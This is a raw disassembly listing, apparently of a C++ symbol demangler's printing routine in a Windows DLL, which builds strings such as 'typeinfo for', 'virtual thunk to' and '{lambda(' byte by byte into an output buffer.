lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x43
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x43
cmp eax, 0xff
je 0x6737aafe
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6c
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6c
cmp edx, 0xff
je 0x6737aac5
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x61
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x61
cmp eax, 0xff
je 0x6737aa8c
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x73
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x73
cmp edx, 0xff
je 0x6737aa53
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x73
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x73
cmp eax, 0xff
je 0x67377bdd
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x20
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x20
cmp edx, 0xff
je 0x673788ac
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x66
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x66
cmp eax, 0xff
je 0x673788e5
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6f
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6f
cmp edx, 0xff
je 0x6737883c
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x72
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x72
cmp eax, 0xff
je 0x67378875
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x20
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x20
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 4]
mov eax, ebx
call fcn.6737594c
jmp case.default.0x6737b2da
mov eax, dword [ebx + 0x104]
mov esi, str.guard_variable_for
lea edi, [ebx + 4]
jmp 0x67376d84
mov ecx, eax
inc eax
mov byte [ebx + ecx + 4], dl
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], dl
inc esi
cmp esi, 0x673a0909
je case.0x6737598c.36
mov dl, byte [esi]
cmp eax, 0xff
jne 0x67376d64
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov dword [esp], edi
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, 1
xor ecx, ecx
mov dl, byte [ebp - 0x8c]
jmp 0x67376d67
mov eax, dword [ebx + 0x104]
mov esi, str.covariant_return_thunk_to
lea edi, [ebx + 4]
jmp 0x67376dfc
mov ecx, eax
inc eax
mov byte [ebx + ecx + 4], dl
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], dl
inc esi
cmp esi, 0x673a08f5
je 0x6737847c
mov dl, byte [esi]
cmp eax, 0xff
jne 0x67376ddc
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov dword [esp], edi
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, 1
xor ecx, ecx
mov dl, byte [ebp - 0x8c]
jmp 0x67376ddf
mov edi, dword [ebx + 0x118]
test edi, edi
je 0x67377140
mov edx, edi
nop
mov ecx, dword [edx + 8]
test ecx, ecx
jne 0x67376e74
mov ecx, dword [edx + 4]
mov ecx, dword [ecx]
lea esi, [ecx - 0x17]
cmp esi, 2
ja 0x67377140
cmp eax, ecx
je case.0x6737598c.36
mov edx, dword [edx]
test edx, edx
jne 0x67376e54
jmp 0x67377140
mov esi, dword [ebp - 0x6c]
mov dl, byte [esi + 4]
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x67378db6
lea ecx, [eax + 1]
mov byte [ebx + eax + 4], dl
mov dword [ebx + 0x104], ecx
mov byte [ebx + 0x108], dl
jmp case.default.0x6737b2da
mov edx, dword [ebx + 0x104]
cmp edx, 0xff
je 0x67379c8b
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x7b
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x7b
cmp eax, 0xff
je 0x67379c52
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6c
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6c
cmp edx, 0xff
je 0x67379c19
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x61
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x61
cmp eax, 0xff
je 0x67379be0
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6d
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6d
cmp edx, 0xff
je 0x6737a052
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x62
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x62
cmp eax, 0xff
je 0x6737a019
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x64
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x64
cmp edx, 0xff
je 0x67379fe0
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x61
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x61
cmp eax, 0xff
je 0x67379fa9
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x28
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x28
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 4]
mov eax, ebx
call fcn.6737594c
mov edx, dword [ebx + 0x104]
cmp edx, 0xff
je 0x6737a0c2
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x29
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x29
cmp eax, 0xff
je 0x6737a08b
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x23
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x23
mov esi, dword [ebp - 0x6c]
mov eax, dword [esi + 8]
inc eax
mov dword [esp + 8], eax
mov dword [esp + 4], 0x673a0942
lea eax, [ebp - 0x60]
mov dword [ebp - 0x70], eax
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
xor eax, eax
mov ecx, 0xffffffff
mov edi, dword [ebp - 0x70]
repne scasb al, byte es:[edi]
not ecx
mov edi, ecx
dec edi
je 0x6737848e
mov eax, dword [ebx + 0x104]
xor esi, esi
lea edx, [ebx + 4]
mov dword [ebp - 0x74], edx
mov dword [ebp - 0x6c], edi
mov edi, dword [ebp - 0x70]
jmp 0x67377079
mov ecx, eax
inc eax
mov byte [ebx + ecx + 4], dl
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], dl
inc esi
cmp dword [ebp - 0x6c], esi
jbe 0x67378494
mov dl, byte [edi + esi]
cmp eax, 0xff
jne 0x6737705c
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov ecx, dword [ebp - 0x74]
mov dword [esp], ecx
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, 1
xor ecx, ecx
mov dl, byte [ebp - 0x8c]
jmp 0x6737705f
mov eax, dword [ebx + 0x104]
mov esi, str.global_destructors_keyed_to
lea edi, [ebx + 4]
jmp 0x673770f4
mov ecx, eax
inc eax
mov byte [ebx + ecx + 4], dl
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], dl
inc esi
cmp esi, 0x673a0984
je 0x6737847c
mov dl, byte [esi]
cmp eax, 0xff
jne 0x673770d4
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov dword [esp], edi
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, 1
xor ecx, ecx
mov dl, byte [ebp - 0x8c]
jmp 0x673770d7
mov edi, dword [ebx + 0x118]
mov dword [ebp - 0x60], edi
lea eax, [ebp - 0x60]
mov dword [ebx + 0x118], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], 0
mov eax, dword [ebx + 0x114]
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 4]
mov eax, ebx
call fcn.6737594c
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x67377180
mov edx, dword [ebp - 0x6c]
mov eax, ebx
call fcn.6737bd38
mov eax, dword [ebp - 0x60]
mov dword [ebx + 0x118], eax
jmp case.default.0x6737b2da
mov eax, dword [ebx + 0x118]
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x60]
mov dword [ebx + 0x118], eax
mov esi, dword [ebp - 0x6c]
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x58], 0
mov eax, dword [ebx + 0x114]
mov dword [ebp - 0x54], eax
mov edx, dword [esi + 8]
mov eax, ebx
call fcn.6737594c
mov edi, dword [ebp - 0x58]
test edi, edi
jne 0x67377180
mov edx, esi
mov eax, ebx
call fcn.6737bd38
jmp 0x67377180
mov eax, dword [ebp - 0x6c]
cmp word [eax + 0xa], 0
jne 0x673789a3
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 4]
cmp dword [edx + 4], 0x673a1120
je 0x67378998
mov eax, ebx
call fcn.6737594c
mov edx, dword [ebx + 0x104]
cmp edx, 0xff
je 0x6737b277
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x20
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x20
mov esi, dword [ebp - 0x6c]
cmp word [esi + 8], 0
je 0x67378717
cmp eax, 0xff
je 0x6737b4b6
lea ecx, [eax + 1]
mov byte [ebx + eax + 4], 0x5f
mov dword [ebx + 0x104], ecx
mov byte [ebx + 0x108], 0x5f
cmp ecx, 0xff
je 0x6737b47d
lea edx, [ecx + 1]
mov byte [ebx + ecx + 4], 0x41
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x41
cmp edx, 0xff
je 0x6737b444
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x63
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x63
cmp eax, 0xff
je 0x6737b40b
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x63
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x63
cmp edx, 0xff
je 0x6737b526
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x75
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x75
cmp eax, 0xff
je 0x6737b4ef
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6d
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6d
jmp case.default.0x6737b2da
mov eax, dword [ebp - 0x6c]
mov edx, dword [eax + 4]
test edx, edx
je 0x67377308
mov eax, ebx
call fcn.6737594c
mov edx, dword [ebp - 0x6c]
mov esi, dword [edx + 8]
test esi, esi
je case.default.0x6737b2da
mov esi, dword [ebx + 0x104]
cmp esi, 0xfd
ja 0x67378cd7
mov byte [ebx + esi + 4], 0x2c
lea edi, [esi + 2]
mov byte [ebx + esi + 5], 0x20
mov dword [ebx + 0x104], edi
mov byte [ebx + 0x108], 0x20
mov ecx, dword [ebx + 0x124]
mov eax, dword [ebp - 0x6c]
mov edx, dword [eax + 8]
mov eax, ebx
mov dword [ebp - 0x8c], ecx
call fcn.6737594c
mov ecx, dword [ebp - 0x8c]
cmp dword [ebx + 0x124], ecx
jne case.default.0x6737b2da
cmp dword [ebx + 0x104], edi
jne case.default.0x6737b2da
mov dword [ebx + 0x104], esi
jmp case.default.0x6737b2da
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x67379f70
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6f
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6f
cmp edx, 0xff
je 0x67379f37
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x70
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x70
cmp eax, 0xff
je 0x67379efe
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x65
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x65
cmp edx, 0xff
je 0x67379ec5
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x72
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x72
cmp eax, 0xff
je 0x67379e8c
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x61
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x61
cmp edx, 0xff
je 0x67379e53
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x74
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x74
cmp eax, 0xff
je 0x67379e1a
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6f
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6f
cmp edx, 0xff
je 0x67379858
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x72
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x72
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 4]
mov edi, dword [edx + 4]
mov cl, byte [edi]
sub ecx, 0x61
cmp cl, 0x19
ja 0x673774c8
cmp eax, 0xff
je 0x6737b3a7
mov byte [ebx + eax + 4], 0x20
inc eax
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x20
mov esi, dword [ebp - 0x6c]
mov edx, dword [esi + 4]
mov edi, dword [edx + 4]
mov edx, dword [edx + 8]
mov dword [ebp - 0x6c], edx
test edx, edx
je case.default.0x6737b2da
xor esi, esi
lea edx, [ebx + 4]
mov dword [ebp - 0x70], edx
jmp 0x673774fd
mov ecx, eax
inc eax
mov byte [ebx + ecx + 4], dl
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], dl
inc esi
cmp dword [ebp - 0x6c], esi
jbe case.default.0x6737b2da
mov dl, byte [edi + esi]
cmp eax, 0xff
jne 0x673774e0
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov ecx, dword [ebp - 0x70]
mov dword [esp], ecx
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, 1
xor ecx, ecx
mov dl, byte [ebp - 0x8c]
jmp 0x673774e3
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x67379da8
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x76
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x76
cmp edx, 0xff
je 0x67379d6f
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x69
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x69
cmp eax, 0xff
je 0x67379d36
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x72
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x72
cmp edx, 0xff
je 0x67379cfd
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x74
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x74
cmp eax, 0xff
je 0x67379cc4
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x75
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x75
cmp edx, 0xff
je 0x673797e6
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x61
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x61
cmp eax, 0xff
je 0x673797ad
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6c
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6c
cmp edx, 0xff
je 0x67379774
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x20
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x20
cmp eax, 0xff
je 0x6737973b
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x74
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x74
cmp edx, 0xff
je 0x67379702
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x68
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x68
cmp eax, 0xff
je 0x673796c9
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x75
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x75
cmp edx, 0xff
je 0x67379690
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x6e
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x6e
cmp eax, 0xff
je 0x67379657
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6b
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6b
cmp edx, 0xff
je 0x6737961e
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x20
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x20
cmp eax, 0xff
je 0x673795e5
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x74
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x74
cmp edx, 0xff
je 0x6737981f
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x6f
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x6f
cmp eax, 0xff
jne 0x67375f3c
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov edx, 1
xor eax, eax
jmp 0x67375f3f
test byte [ebx], 4
jne 0x673785da
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x70], ecx
mov esi, dword [ebp - 0x6c]
mov edi, dword [esi + 4]
test ecx, ecx
je case.default.0x6737b2da
mov eax, dword [ebx + 0x104]
xor esi, esi
lea edx, [ebx + 4]
mov dword [ebp - 0x6c], edx
jmp 0x673777e5
mov ecx, eax
inc eax
mov byte [ebx + ecx + 4], dl
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], dl
inc esi
cmp dword [ebp - 0x70], esi
jbe case.default.0x6737b2da
mov dl, byte [edi + esi]
cmp eax, 0xff
jne 0x673777c8
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov ecx, dword [ebp - 0x6c]
mov dword [esp], ecx
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, 1
xor ecx, ecx
mov dl, byte [ebp - 0x8c]
jmp 0x673777cb
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 4]
mov eax, ebx
call fcn.6737594c
test byte [ebx], 4
je 0x67378a50
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x6737b370
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x2e
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x2e
mov esi, dword [ebp - 0x6c]
mov edx, dword [esi + 8]
mov eax, ebx
call fcn.6737594c
jmp case.default.0x6737b2da
mov eax, dword [ebx + 0x118]
mov dword [ebp - 0x88], eax
mov dword [ebx + 0x118], 0
mov edx, dword [ebp - 0x6c]
mov edx, dword [edx + 4]
mov dword [ebp - 0x74], edx
test edx, edx
je case.0x6737598c.49
mov dword [ebp - 0x60], 0
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x70], ecx
mov dword [ebx + 0x118], ecx
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x58], 0
mov esi, dword [ebx + 0x114]
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x54], esi
mov eax, dword [edx]
sub eax, 0x1a
cmp eax, 2
ja 0x6737bb2c
mov eax, dword [edx + 4]
mov dword [ebp - 0x74], eax
test eax, eax
je case.0x6737598c.49
mov edx, eax
mov dword [ebp - 0x50], ecx
lea eax, [ebp - 0x50]
mov dword [ebx + 0x118], eax
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], esi
mov ecx, edx
mov edx, dword [edx]
sub edx, 0x1a
cmp edx, 2
ja 0x6737bb20
mov esi, dword [ecx + 4]
mov dword [ebp - 0x74], esi
test esi, esi
je case.0x6737598c.49
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
mov dword [ebx + 0x118], eax
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], 0
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0x34], edx
mov edx, dword [esi]
sub edx, 0x1a
cmp edx, 2
ja 0x6737bb14
mov ecx, dword [esi + 4]
mov dword [ebp - 0x74], ecx
test ecx, ecx
je case.0x6737598c.49
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
mov dword [ebx + 0x118], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 0
mov esi, dword [ebp - 0x7c]
mov dword [ebp - 0x24], esi
mov eax, dword [ecx]
sub eax, 0x1a
cmp eax, 2
jbe case.0x6737598c.49
mov dword [ebp - 0x78], 4
mov edx, dword [ebp - 0x74]
mov eax, dword [edx]
cmp eax, 4
je 0x6737b784
cmp eax, 2
jne 0x67377a44
mov esi, dword [ebp - 0x74]
mov edx, dword [esi + 8]
cmp dword [edx], 0x3f
je 0x6737baa8
mov eax, dword [edx]
sub eax, 0x1a
cmp eax, 2
ja 0x67377a44
cmp dword [ebp - 0x78], 4
je case.0x6737598c.49
mov esi, dword [ebp - 0x78]
dec esi
mov dword [ebp - 0x80], esi
mov eax, esi
shl eax, 4
add eax, dword [ebp - 0x70]
mov dword [ebp - 0x84], ebx
jmp 0x673779f3
mov eax, ebx
cmp dword [ebp - 0x78], 3
ja 0x6737b7d3
mov ecx, dword [ebp - 0x78]
dec ecx
mov dword [ebp - 0x80], ecx
lea ebx, [eax + 0x10]
mov edi, ebx
mov esi, eax
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x80]
shl ecx, 4
add ecx, dword [ebp - 0x70]
mov dword [eax + 0x10], ecx
mov ecx, dword [ebp - 0x78]
shl ecx, 4
add ecx, dword [ebp - 0x70]
mov esi, dword [ebp - 0x84]
mov dword [esi + 0x118], ecx
mov dword [eax + 4], edx
mov dword [eax + 8], 0
mov ecx, dword [ebp - 0x7c]
mov dword [eax + 0xc], ecx
inc dword [ebp - 0x78]
mov edx, dword [edx + 4]
mov eax, dword [edx]
sub eax, 0x1a
cmp eax, 2
jbe 0x673779e0
mov ebx, esi
mov esi, dword [ebp - 0x6c]
mov edx, dword [esi + 8]
mov eax, ebx
call fcn.6737594c
mov eax, dword [ebp - 0x74]
cmp dword [eax], 4
je 0x6737b926
mov edx, dword [ebp - 0x78]
test edx, edx
je 0x67378e46
mov edx, dword [ebp - 0x78]
dec edx
mov eax, edx
shl eax, 4
mov ecx, dword [ebp - 0x70]
lea esi, [ecx + eax + 8]
lea edi, [ebx + 4]
mov dword [ebp - 0x6c], edi
mov edi, edx
mov eax, dword [esi]
test eax, eax
jne 0x67377ab4
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x6737b8f4
mov byte [ebx + eax + 4], 0x20
inc eax
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x20
mov edx, dword [esi - 4]
mov eax, ebx
call fcn.6737bd38
sub esi, 0x10
test edi, edi
je 0x67378e46
dec edi
mov eax, dword [esi]
test eax, eax
jne 0x67377ab4
jmp 0x67377a86
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x673795ac
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x74
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x74
cmp edx, 0xff
je 0x67379573
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x79
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x79
cmp eax, 0xff
je 0x6737953a
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x70
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x70
cmp edx, 0xff
je 0x67379501
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x65
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x65
cmp eax, 0xff
je 0x673794c8
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x69
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x69
cmp edx, 0xff
je 0x6737948f
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x6e
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x6e
cmp eax, 0xff
je 0x6737ab70
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x66
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x66
cmp edx, 0xff
je 0x6737ab37
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x6f
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x6f
cmp eax, 0xff
jne 0x67376ca9
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x20
mov edx, 1
jmp 0x67376cca
mov eax, dword [ebx + 0x104]
mov esi, str.typeinfo_name_for
lea edi, [ebx + 4]
jmp 0x67377c48
mov ecx, eax
inc eax
mov byte [ebx + ecx + 4], dl
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], dl
inc esi
cmp esi, 0x673a08c4
je case.0x6737598c.36
mov dl, byte [esi]
cmp eax, 0xff
jne 0x67377c28
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov dword [esp], edi
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, 1
xor ecx, ecx
mov dl, byte [ebp - 0x8c]
jmp 0x67377c2b
mov edx, dword [ebx + 0x104]
cmp edx, 0xff
je 0x67379a1e
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x74
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x74
cmp eax, 0xff
je 0x673799e5
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x79
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x79
cmp edx, 0xff
je 0x673799ac
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x70
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x70
cmp eax, 0xff
je 0x67379973
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x65
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x65
cmp edx, 0xff
je 0x6737993a
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x69
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x69
cmp eax, 0xff
je 0x67379901
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6e
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6e
cmp edx, 0xff
je 0x673798c8
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x66
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x66
cmp eax, 0xff
je 0x6737988f
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6f
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6f
cmp edx, 0xff
je 0x67379456
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x20
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x20
cmp eax, 0xff
je 0x6737941d
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x66
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x66
cmp edx, 0xff
je 0x673793e4
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x6e
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x6e
cmp eax, 0xff
je 0x673780ea
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x20
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x20
cmp edx, 0xff
je 0x67378b66
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x66
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x66
cmp eax, 0xff
je 0x67378b2d
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6f
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6f
cmp edx, 0xff
je 0x67378af4
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x72
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x72
cmp eax, 0xff
je 0x67378abd
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x20
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x20
mov eax, dword [ebp - 0x6c]
mov edx, dword [eax + 4]
mov eax, ebx
call fcn.6737594c
jmp case.default.0x6737b2da
mov eax, dword [ebx + 0x104]
mov esi, str.non_virtual_thunk_to
lea edi, [ebx + 4]
jmp 0x67377ee0
mov ecx, eax
inc eax
mov byte [ebx + ecx + 4], dl
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], dl
inc esi
cmp esi, 0x673a08da
je 0x67376d40
mov dl, byte [esi]
cmp eax, 0xff
jne 0x67377ec0
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
